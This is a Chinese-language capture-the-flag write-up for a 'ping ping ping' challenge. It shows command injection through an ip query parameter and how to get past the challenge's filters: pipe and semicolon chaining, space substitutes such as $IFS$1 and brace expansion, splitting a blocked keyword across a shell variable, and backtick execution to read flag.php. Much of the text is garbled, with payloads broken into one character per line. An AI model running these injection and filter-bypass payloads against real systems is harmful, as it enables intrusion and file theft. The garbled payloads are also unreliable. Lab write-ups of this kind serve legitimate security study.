1.打开题目
2.题目分析
① 加上题目是ping ping ping
所以可以猜测是需要我们命令执行读取flag
加上?ip=127.0.0.1
② 可以看到页面成功返回,我们尝试使用管道符执行我们想要执行的命令
?ip=127.0.0.1 | ls
③ 怀疑是空格的原因,去掉空格,改为
④ 目录下存在flag.php和index.php文件,尝试cat flag文件
考虑到之前的空格会被检测,我们绕过空格
绕过空格的思路一般有:
I
F
S
IFS
IFS {IFS}
$IFS$1 //
1
改
成
1改成
1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
我们这里使用
I
F
S
,
即
构
造
?
i
p
=
127.0.0.1
∣
c
a
t
IFS,即构造?ip=127.0.0.1|cat
IFS,即构造?ip=127.0.0.1∣catIFSflag.php
不过页面显示的错误信息改变:
⑤ 猜测是因为检测了flag,所以我们尝试先读取index.php
?ip=127.0.0.1|cat
I
F
S
i
n
d
e
x
.
p
h
p
,
还
是
没
有
显
示
结
果
,
依
次
尝
试
:
?
i
p
=
127.0.0.1
∣
c
a
t
IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1|cat
IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1∣catIFS$1index.php成功
可以看到对我们的输入进行了过滤,在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有
a
变
量
,
尝
试
覆
盖
它
⑥
变
量
拼
接
?
i
p
=
127.0.0.1
;
a
=
g
;
c
a
t
a变量,尝试覆盖它 ⑥ 变量拼接 ?ip=127.0.0.1;a=g;cat
a变量,尝试覆盖它⑥ 变量拼接?ip=127.0.0.1;a=g;catIFS
1
f
l
a
1fla
1flaa.php
查看源代码里面就有flag
另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令
而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令
?ip=127.0.0.1;cat$IFSls
3.获取flag
flag{7bb90144-e9c0-4ca8-8936-783423ae95c7}